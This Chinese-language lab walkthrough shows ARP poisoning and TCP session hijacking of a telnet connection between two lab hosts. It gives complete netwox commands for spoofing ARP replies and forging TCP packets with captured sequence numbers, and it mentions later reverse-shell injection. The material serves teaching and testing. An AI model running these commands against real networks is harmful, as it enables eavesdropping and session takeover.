思路:
- Hacker获取到Client与Server的TCP会话包(ARP毒化、或者MAC洪范攻击等)
- 观察Server发给Client的最后一个TCP报文
- Hacker通过数据包伪造出一个TCP报文,这个报文是Client回给Server的TCP数据包
a.二层的source-mac是hacker机
b.三层的ip source是Client主机的IP,目标是Server的IP
c.四层的参数通过获取的TCP会话来进行查询
因为:Server判断会话只能通过三层与四层
设计:
首先Kai要获得TCP的数据包2,那么就要使客户端与服务器的TCP流量经过自己,即先进行ARP的毒化
思路:
伪造目标主机的ARP回应包
RHEL7.2的MAC 00:0c:29:82:47:61
RHEL7.5的MAC 00:0c:29:a1:1b:d7
Kali的MAC 00:0c:29:67:81:38
伪造:
sudo netwox 33 -b 00:0c:29:a1:1b:d7 -e 2 -f 00:0c:29:67:81:38 -g 192.168.211.133 -h 00:0c:29:a1:1b:d7 -i 192.168.211.134
检查:可见,arp的映射明显被Kali攻击者更换了
当然还是能ping通的,
此时开启Kali的网卡转发功能,为了截取到客户端RHEL7.5向RHEL7.2之间的TCP数据包
此时客户端去ping服务器,在Kali上就能查看到这两个通信双方的ARP包
前期的铺垫完成后,接下来进行TCP的劫持攻击
步骤:
- 客户端与服务器进行TCP的三次握手会话
- Kali抓取服务器对客户端的回应的TCP包
- Kali伪造下一个客户端发给服务器的数据包
那么选择TCP层的协议telnet是因为
ssh与telnet的相同点:
- 两种协议都可以远程登录另一台主机
- 两种协议都属于基于TCP/IP的协议
ssh与telnet的不同点:
- telnet是明文传送;ssh是加密传送,并且支持压缩。
- telnet的默认端口号为23;ssh的默认端口号为22.
- ssh使用公钥对访问的服务器的用户验证身份,进一步提高的安全性;telnet没有使用公钥。
1.客户端向服务器继续telnet的TCP会话建立
2.Kali抓取telnet包
打开这个包,查看详细字段
首先,先将TCP报文的协议首选项中的计算seqnumber的默认选项勾掉,即不让他默认给我们计算,因为这里我们要伪造TCP包,所以不能用wireshark计算后的结果来伪造报文
思路:
伪装C给S发包,夺得S的信任
三层包
四层包
从此报文中可以拿到
三层
Ipv4 ttl:64
Ipv4 protocol:6
Ipv4 src:192.168.211.133
Ipv4 dest:192.168.211.134
四层
TCP src Port:23
TCP dest Port:48273
Next sequence number:973115950
Acknowledgement number:3430615544
Window size value:227
数据:
32310d00
命令:
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.211.134 --ip4-dst 192.168.211.133 --tcp-src 48273 --tcp-dst 23 --tcp-seqnum 3430615544 --tcp-acknum 973115950 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 32310d00
实施攻击:
实施攻击后,可以看出原本的连接出现一个虚假重传包,打开这个包,发现就是Kali伪造的数据
说明:
开启了网卡转发受害主机发送到目标主机的数据包回经过攻击者主机转发出去,这样攻击者就获得了受害主机的通讯数据
此时被攻击主机的TCP会话并没有断开是因为,Kali开启了网卡转发,如果关闭后,被攻击的客户端会话将会立即断开
测试:
命令:
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.211.134 --ip4-dst 192.168.211.133 --tcp-src 48277 --tcp-dst 23 --tcp-seqnum 3316797603 --tcp-acknum 3420192115 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 32310d00
这次攻击后,被攻击的主机将断开与服务器的TCP连接,主机上敲回车已经没有了反应,包层面,一直虚假重传,等过了超时的时间,TCP就会断开会话的建立
至此,TCP劫持完成,这只是一个开端,在数据中可以注入攻击的代码,以获得对Server的完全控制,既而进行横向穿透
这篇文章是在TCP劫持的基础上进行注入反弹Shell
这篇文章的思维导图更能使你深入理解攻击的详细过程